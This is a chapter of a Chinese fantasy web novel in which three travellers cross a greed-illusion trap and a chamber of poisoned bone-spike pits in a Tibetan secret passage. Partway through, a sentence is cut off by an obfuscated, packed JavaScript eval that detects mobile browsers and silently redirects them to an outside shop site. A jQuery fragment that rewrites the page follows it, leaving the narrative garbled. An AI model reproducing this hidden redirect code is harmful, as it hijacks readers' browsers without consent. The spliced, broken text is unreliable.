文趣网 > 其他小说 > 雪域灵宫 > 96.贪欲幻境
    密道的石门在身后轰然关闭,将外面的厮杀声、惨叫声、咒骂声全部隔绝。

    洛桑、拉姆、多吉三人站在一条幽深的甬道中,四周一片死寂,只有他们自己的呼吸声和心跳声在耳边回荡。甬道宽约六尺,高约八尺,墙壁由青黑色的石砖砌成,砖缝之间填满了某种暗红色的胶泥,在拉姆天珠微光的照耀下,隐隐反射着诡异的光泽。

    空气中弥漫着一股浓重的陈腐气息,像是千百年来从未有人踏足过这片禁地。但洛桑的破妄金瞳却看得分明——地面的石砖上有明显的磨损痕迹,不是自然风化,而是被无数脚步反复踩踏留下的。这说明这条密道并非无人知晓,至少在很久以前,曾经有很多人从这里走过。

    “小心。”多吉走在最前面,左手持短匕,右手按在腰间的血刀刀柄上,目光如鹰隼般扫视着前方和两侧。“这种密道通常都有机关,而且……”

    他话没说完,脚下的石砖突然微微一沉。

    三人的身形同时僵住。

    多吉低头看去,发现自己踩中的那块石砖比旁边的砖面低了不到半寸,若不是他感官敏锐,根本察觉不到这细微的变化。他缓缓抬起脚,石砖又弹回原位,发出“咔”的一声轻响。

    没有毒针射出,没有飞箭袭来,也没有地板塌陷。

    但洛桑的眉头却皱了起来。他的破妄金瞳看到,就在多吉踩中那块石砖的瞬间,甬道深处的某处墙壁后面,有某种机关被触发了,齿轮开始转动,链条开始拉动,一股极其微弱的气流从前方涌来。

    “有东西醒了。”他低声说。

    话音刚落,前方的甬道突然亮了起来。

    不是火把,也不是油灯,而是墙壁上的壁画开始发光。那些壁画原本在黑暗中看不清楚,此刻却像被点燃了一般,散发出幽幽的蓝绿色荧光,将整条甬道照得如同白昼。

    三人这才看清了壁画的真容。

    那画的是地狱变相图。

    六道轮回中的地狱道被描绘得淋漓尽致——刀山、火海、血池、粪尿、寒冰、热铁,无数赤裸的罪人在其中挣扎哀嚎,被牛头马面的狱卒用铁叉、铜锤、锯刀折磨。壁画的手法极其精湛,每一笔每一划都栩栩如生,那些罪人的表情痛苦得让人不忍直视,仿佛能听到他们的惨叫在耳边回荡。

    最诡异的是,壁画上的颜料不知道掺了什么材料,散发出的荧光竟然是流动的,像是有生命一般。那些狱卒的眼睛在转动,罪人的肢体在蠕动,鲜血在流淌,火焰在跳跃——整个画面是活的。

    “不要盯着看。”拉姆突然出声,声音有些发颤。“这画里有迷魂术。”

    她胸前的天珠第三眼微微发亮,青色的光晕笼罩着她的头部,让她保持了清醒。但即便如此,她刚才看壁画的那一瞬间,也感觉意识恍惚了一下,仿佛有什么东西在试图钻进她的脑海。

    洛桑的破妄金瞳也察觉到了异常。那些流动的荧光其实是一种极其隐蔽的精神攻击,通过视觉刺激大脑的特定区域,让人产生幻觉、恐惧、甚至疯狂。普通的密宗修行者遇到这种机关,十有八九会中招。

    “闭眼,跟我走。”洛桑说,同时从怀中取出一物。

    那是一串凤眼菩提念珠,是他的启蒙师贡嘎喇嘛在雪顿节前赠予他的。念珠共一百零八颗,每一颗都是百年以上的老凤眼菩提,包浆温润如玉,珠面上天然形成的凤眼纹路清晰可见。最珍贵的是念珠的母珠——那是一颗鸽卵大小的“破幻珠”,通体透明如水晶,内部隐隐有金光流转,据说是某位古代高僧虹化后遗留下的舍利子所化,有破除一切幻术的功效。

    洛桑将念珠挂在脖子上,破幻珠正好垂在胸口。他默运大圆满心法,将一缕真气注入珠中,破幻珠顿时大放光明,金色的光芒如涟漪般向四周扩散,将三人笼罩其中。

    金光所到之处,壁画上的荧光顿时黯淡了几分,那些蠕动的画面也静止了下来,仿佛被某种力量压制住了。

    拉姆和多吉同时松了一口气。破幻珠的金光像是一道屏障,将壁画中的迷魂术隔绝在外,让他们的意识重新恢复了清明。

    三人继续前行,甬道越来越深,壁画的内容也在变化。从地狱道逐渐过渡到饿鬼道、畜生道、修罗道、人道、天道,最后在一面巨大的墙壁前停下。

    墙壁上画的是“贪欲之海”。

    画面中是一片无边无际的海洋,海水不是蓝色,而是金色的——那是金银珠宝熔化后形成的金液银浆。海面上漂浮着无数的珍宝——珊瑚、玛瑙、翡翠、钻石、猫眼石、红宝石、蓝宝石,每一颗都硕大无比,散发着诱人的光泽。海中有无数的人在其中挣扎,有的人抱着金块不肯放手,被沉重的金子拖入海底;有的人为了抢夺一颗宝石互相厮杀,鲜血染红了金色的海面;有的人爬上了珍宝堆成的小岛,却被更多的珍宝压垮,活活埋葬。

    画面的最上方,用藏文写着一行字:“贪为苦本,欲为祸根。”

    洛桑看着这幅壁画,心中忽然涌起一股明悟。这幅画不仅仅是在描绘佛经中的道理,更是在暗示着什么——或者说,是在警告着什么。

    “这里应该是第一关。”多吉说,他曾在黑牦牛组织时听说过类似的传说。“古代密宗大师在埋藏伏藏时,往往会设置七道关卡,对应七种烦恼——贪、嗔、痴、慢、疑、不正见、烦恼障。我们面前这道,应该是‘贪欲关’。”

    话音刚落,壁画上的金色海洋突然活了过来。

    那金色的液体从墙壁中涌出,如潮水般向三人席卷而来。洛桑三人急忙后退,却发现身后的甬道不知何时已经消失,取而代之的是一片无边无际的金色海洋。

    他们站在一座由金银珠宝堆成的小岛上,四周全是翻涌的金液,空气中弥漫着刺鼻的金属气味。头顶的天空是一片诡异的暗红色,像是被鲜血染过,看不到太阳、月亮、星星,只有无尽的压抑和沉重。

    “幻境。”洛桑沉声道。他的破妄金瞳看得分明——这一切都是虚假的,是某种极其高明的幻术制造出来的。但诡异的是,他的身体感官却告诉他这一切是真实的,脚下的珠宝硌脚,空气中的金属味呛鼻,甚至能感觉到金液蒸腾的热气扑面而来。

    “好厉害的幻术。”拉姆皱眉,她的天珠识伪眼也看穿了虚妄,但同样无法摆脱幻境的影响。“这不是普通的迷魂术,而是……”

    她话没说完,海面上突然出现了变化。

    无数的人从金液中浮出,向小岛涌来。他们有男有女,有老有少,穿着各种服饰——有喇嘛、有贵族、有商人、有牧民、有奴隶、有士兵,来自三教九流,各行各业。

    所有人的脸上都带着同一种表情——贪婪。

    他们的眼睛发红,嘴角流涎,伸出双手,抓向小岛上的珍宝。抓起一把,又抓一把,抓了还想抓,永远不满足。有人抓了太多,双手抱不住,珍宝从指缝中滑落,他们趴在地上捡,捡起来又掉,掉了又捡,像个疯子一样重复着同样的动作。

    有人为了抢夺同一颗宝石大打出手,用指甲掐、用牙齿咬、用头撞,打得头破血流、骨断筋折,却谁也不肯松手。有人抢到了宝物,还没来得及高兴,就被身后的人推倒,踩踏而死。有人被金液淹没,在沉入海底的最后一刻,手里还紧紧攥着几颗不值钱的碎宝石。

    洛桑三人站在小岛的最高处,看着这一切,心中涌起复杂的情绪。这些人是真实的还是虚幻的?是曾经死在密道中的前人,还是幻术制造出来的假象?

    就在这时,一个身影从人群中挤了出来,踉踉跄跄地朝他们走来。

    那是一个中年喇嘛,穿着暗红色的袈裟,袈裟上沾满了金液和血迹。他的脸被烧得面目全非,半边脸皮肉翻卷,露出下面的白骨,一只眼珠挂在眼眶外,摇摇欲坠。但他的另一只眼睛却死死盯着拉姆胸前的天珠,眼中满是贪婪的光芒。

    “天珠……九眼天珠……”那喇嘛伸出枯瘦如柴的手,朝拉姆抓来。“给我……给我……有了它,我就能……就能……”

    拉姆下意识后退了一步。不是因为害怕,而是因为她认出了这个喇嘛——或者说,认出了他身上的袈裟纹样。

    那是萨迦家族的“家养喇嘛”特有的服饰。

    “他是萨迦家族的人。”拉姆低声说,“应该是很多年前进入密道寻宝的,结果死在了这里。”

    洛桑皱眉。萨迦家族既然在多年前就派人进过密道,那为什么他们没有拿走预言卷?是因为没有找到,还是因为根本闯不过这些关卡?

    中年喇嘛没能抓到拉姆。他走了几步,身体突然僵住,然后像一截朽木般直挺挺地倒下,砸在珠宝堆上,激起一片金粉。他的身体在金粉中抽搐了几下,然后彻底不动了,空洞的眼眶直直地望着天空,嘴角还挂着一丝贪婪的笑。

    “贪为苦本。”洛桑轻声念出壁画上的那句话,心中涌起一股悲悯。这个喇嘛生前必定也是一位修行者,却因为贪念,落得如此下场。佛经上说,贪欲如火,不遏则燎原;贪欲如海,不渡则沉溺。眼前的这一切,不就是最好的写照吗?

    就在这时,金色海洋再次翻涌起来。

    这一次,海面上浮出的不再是尸体,而是真正的珍宝——金块、银锭、宝石、珍珠、珊瑚、玛瑙,堆积如山,漂浮在海面上,随着波浪起伏,发出叮叮当当的碰撞声,像是一首诱人的乐曲。

    那些珍宝散发着诱人的光泽,每一颗都完美无瑕,每一块都沉甸甸的,仿佛在向三人招手:“来拿我吧,拿了我,你们就富可敌国了。拿了我,你们就不用再过颠沛流离的生活了。拿了我,你们可以买下整个雪域,可以养无数兵马,可以建无数宫殿……”

    洛桑的呼吸微微一滞。

    不是因为他贪财,而是因为这些珍宝太真实了。他的破妄金瞳告诉他,这些珍宝虽然是幻术所化,但其中蕴含着某种极其精纯的能量,如果拿去修炼,确实能大幅提升功力。

    拉姆的眼睛也闪过一丝波动。她出身贵族,从小就见过无数珍宝,但眼前这些珍宝的品相,连她见过的所有宝物加起来都比不上。如果把这些珍宝带回部落,可以赎回被叔叔囚禁的父亲,可以让族人过上好日子,可以重建被毁的家园……

    多吉的反应最直接。他盯着那些珍宝,眼中闪过一丝挣扎。他一生颠沛流离,穷困潦倒,从没真正拥有过什么值钱的东西。如果有了这些珍宝,他就可以金盆洗手,找个安静的地方养老,再也不用打打杀杀……

    三人都没有动,但也没有离开。

    因为他们心底深处,都有一个声音在说:“拿一点就好,就拿一点点。反正这么多,拿一点也没人知道。拿一点不会影响什么,只是改善一下生活……”

    就在多吉的手不自觉地伸向最近的珠宝堆时,洛桑胸前的破幻珠突然大放光明。

    金色的光芒如利剑般刺入三人的眼睛,刺痛让他们的意识猛地清醒。

    多吉的手停在半空,距离一颗鸽卵大的红宝石只有一寸。

    他低头看着自己的手,冷汗瞬间湿透了后背。

    “好险。”他收回手,声音有些沙哑。“这幻术……竟然能勾动人心底最深处的欲望。”

    洛桑深吸一口气,将心底那股贪婪的冲动压了下去。他知道,刚才若不是破幻珠及时警示,他们三人可能已经步了那中年喇嘛的后尘,在这幻境中迷失自我,最终力竭而死。

    “不要看那些珍宝。”洛桑说,闭上眼睛,将破妄金瞳的感知力集中在听觉和嗅觉上。“跟我走,用耳朵和鼻子认路。”

    拉姆和多吉也闭上眼睛。

    洛桑迈开脚步,按照护卫族武学中记载的“破幻步”前进。这种步法不是用来战斗的,而是专门用来破解幻术机关的——每一步都踏在真实与虚幻的交界处,既不陷入幻境,也不脱离现实。

    他的脚下,珠宝的触感消失了,取而代之的是冰冷坚硬的石板。

    他的鼻中,金属的气味消失了,取而代之的是陈腐的霉味。

    他的耳中,珍宝碰撞的声音消失了,取而代之的是远处传来的水滴声,以及某种低沉的嗡鸣。

    他走了七七四十九步,突然停下。

    “到了。”

    他睁开眼睛。

    眼前的景象让他倒吸一口凉气。

    幻境已经消散,他们三人站在一个巨大的石室中。石室呈圆形,直径约三十丈,高约十丈,穹顶上绘满了曼荼罗图案,每一幅都精妙绝伦,色彩斑斓,在黑暗中隐隐发光。

    但最让人心惊的,不是曼荼罗,而是地面。

    石室的地面上,密密麻麻地布满了陷坑。每个陷坑直径约三尺,深约一丈,坑底倒插着无数骨刺——那些骨刺有人骨、兽骨、禽骨,长短不一,粗细各异,但无一例外都磨得极其锋利,尖端泛着幽蓝色的光泽,显然是淬了剧毒。

    陷坑与陷坑之间,只有窄窄的石梁相连,宽不过半尺,稍有不慎就会滑落坑中。

    而在那些陷坑里,躺满了尸体。

    有些尸体已经白骨化,身上的衣服腐烂殆尽,只能从残留的布料碎片和配饰上辨认出他们生前的身份——有喇嘛、有贵族、有士兵、有商人,甚至有妇女和孩子。有些尸体则刚刚死去不久,皮肤还没有完全腐烂,脸上的表情扭曲,瞪大的眼睛里还残留着临死前的恐惧和绝望。

    最诡异的是,这些尸体的姿势都很相似——双手前伸,五指张开,像是在抓什么东西。有的人手心里还攥着

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17695347|203853||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    东西——金块、银锭、宝石、珍珠,在黑暗中闪烁着微弱的光芒。

    “他们都是被贪欲害死的。”拉姆轻声说,声音中带着悲悯。“在幻境中抢到了珍宝,以为自己发了大财,实际上却掉进了陷坑,被骨刺穿体而死。”

    洛桑默然。佛说,万般带不走,唯有业随身。这些人为了虚幻的珍宝,搭上了真实的性命,到头来连尸体都无人收敛,只能在这暗无天日的地下慢慢腐烂。这是何等的可悲,何等的愚痴。

    多吉走到陷坑边缘,蹲下身,仔细观察那些骨刺。他的眼中闪过一丝精光。“这些骨刺上淬的毒,是‘腐骨散’——用腐烂的尸体骨髓、雪山断肠草、黑蝎尾针等十七种毒物炼制而成,见血封喉,中者十息内必死。”

    “也就是说,掉下去就没有活路。”洛桑说。

    “没有活路。”多吉肯定地点头。“除非你有金刚不坏之身,或者功力达到大圆满第九层以上,否则骨刺入体,毒发身亡,神仙难救。”

    洛桑站起身,环顾四周。石室对面,有一扇石门,门楣上刻着四个大字:“贪为苦本。”石门紧闭,门缝中隐隐透出一丝光亮,那是更深处的密道传来的。

    要走到那扇门前,就必须穿过这片陷坑区,在那些窄如刀刃的石梁上行走。稍有不慎,就是万劫不复。

    洛桑深吸一口气,闭上眼睛,将破妄金瞳的感知力提升到极致。在他的脑海中,石室的地形逐渐清晰——每一根石梁的位置、宽度、长度、倾斜角度,每一个陷坑的深度、宽度、骨刺的分布密度,全部映照得清清楚楚。

    一条安全的路径在他的意识中浮现出来。

    “跟着我。”他睁开眼睛,迈出了第一步。

    他的脚踩在石梁上,稳如磐石。石梁宽不过半尺,两侧就是深达一丈的陷坑,坑底的骨刺近在咫尺,幽蓝色的光芒映在他的脸上,诡异而恐怖。但他的心中一片平静,没有恐惧,没有贪婪,没有执着,只有对佛法的坚信和对同伴的责任。

    拉姆跟在他身后,脚步轻盈如燕。她的风马功在这狭窄的空间里施展不开,但她的平衡感极好,每一步都踩在洛桑踩过的位置,分毫不差。

    多吉断后,他的左腿微跛,走在这种窄路上比其他人更吃力。但他毕竟是曾经在黑牦牛组织中排名前十的杀手,什么险恶的环境没经历过?他将短匕叼在口中,双手平伸保持平衡,一步步稳稳地跟在拉姆身后。

    三人走过一根又一根石梁,绕过一个个陷坑,距离对面的石门越来越近。

    十丈。

    五丈。

    三丈。

    就在距离石门只有两丈时,拉姆的脚下突然一滑。

    她踩中的那根石梁上,有一层极其细微的青苔,肉眼几乎看不见,但踩上去却滑如冰面。她的脚在石梁上一滑,身体失去平衡,朝左侧的陷坑倒去。

    洛桑的反应快如闪电。他左手一探,五指如爪,扣住了拉姆的手腕,同时右脚下沉,真气灌注脚底,将石梁踩出一个浅浅的脚印,稳住了身形。

    拉姆的身体悬在陷坑上方,距离坑底的骨刺不到三尺。骨刺上的幽蓝光芒映在她的脸上,让她看起来像是在鬼门关前走了一遭。

    洛桑一用力,将她拉了回来。

    拉姆站稳后,深吸一口气,冲洛桑点了点头,眼中满是感激。

    但就在这时,异变陡生。

    那些陷坑中的骨刺突然动了起来。

    它们像是活物一般,从坑底缓缓升起,越长越高,越长越密,眨眼间就长到了三尺、四尺、五尺……眼看就要刺穿石梁,将三人钉在半空。

    “快跑!”多吉大喊。

    三人不再小心翼翼地行走,而是施展轻功,在石梁上飞奔起来。

    洛桑的月影步在这狭窄的空间里发挥到了极致,他的身形化作一道淡淡的残影,在石梁上穿梭,每一次落脚都精准无比,仿佛踩在针尖上跳舞。

    拉姆的风马功虽然施展不开,但她的轻功底子极好,脚尖在石梁上一点,整个人就像燕子一样飞掠而过,衣袂飘飘,姿态优美如舞蹈。

    多吉最吃力,但他的经验最丰富。他不再追求速度,而是每一步都踩得极重,将石梁踩得晃动,利用反震力推动自己前进。

    骨刺越长越高,有的已经刺穿了石梁,从三人脚下冒出。洛桑的破妄金瞳捕捉到骨刺的轨迹,左闪右避,堪堪避开每一根冒出的骨刺。拉姆的天珠第六眼亮起,青光笼罩全身,骨刺碰到青光,竟然微微一顿,给了她喘息的机会。多吉则用短匕拨开骨刺,刀光闪烁,将刺向他的骨刺一一斩断。

    三丈。

    两丈。

    一丈。

    终于,三人冲到了石门前。

    洛桑一掌拍在门上,大圆满心法的金色真气如潮水般涌出,将石门轰然推开。三人鱼贯而入,身后传来“咔嚓咔嚓”的声响——那是骨刺刺穿石梁的声音,也是陷坑关闭的声音。

    石门在身后自动关上,将骨刺的幽蓝光芒隔绝在外。

    三人靠在石门上,大口大口地喘气,汗水湿透了衣背。

    多吉低头看去,发现自己的左腿裤脚被骨刺划破了一道口子,皮肤上有一道浅浅的白痕,差一点就见血。他倒吸一口凉气——刚才只要慢那么一息,他的腿就废了。

    “好险。”他喃喃道。

    洛桑没有回答。他抬头看向前方,发现他们来到了一个稍微宽敞的甬道中。甬道两侧的墙壁上,不再有壁画,而是刻满了经文——那是《金刚经》的藏文译本,每一个字都有拳头大小,笔锋遒劲,入石三分。

    经文的内容是:“凡所有相,皆是虚妄。若见诸相非相,即见如来。”

    洛桑看着这行经文,心中忽然涌起一股明悟。

    刚才那一关,名为“贪欲幻境”,实则是古代高僧设置的第一道考验。考验的不是武功高低,不是智慧深浅,而是对贪欲的抵御能力。那些死在陷坑中的人,不是因为武功不够高,而是因为心中贪念太重,被幻境迷惑,看不清真假,辨不明虚实,最终落入陷阱。

    而他和拉姆、多吉之所以能过关,不是因为他们武功有多高,而是因为他们心中有更重要的东西——对同伴的信任,对使命的坚守,对佛法的信念。

    这些,才是破除贪欲的最强武器。

    “走吧。”洛桑说,声音平静如水。“后面还有六关。”

    拉姆和多吉点头,三人继续前行。

    身后的石门缝隙中,隐隐传来一声叹息,像是那些死在陷坑中的亡魂在感慨,又像是设置关卡的古代高僧在欣慰。

    贪为苦本,欲为祸根。

    能看破这一层的人,才能在这条路上走得更远。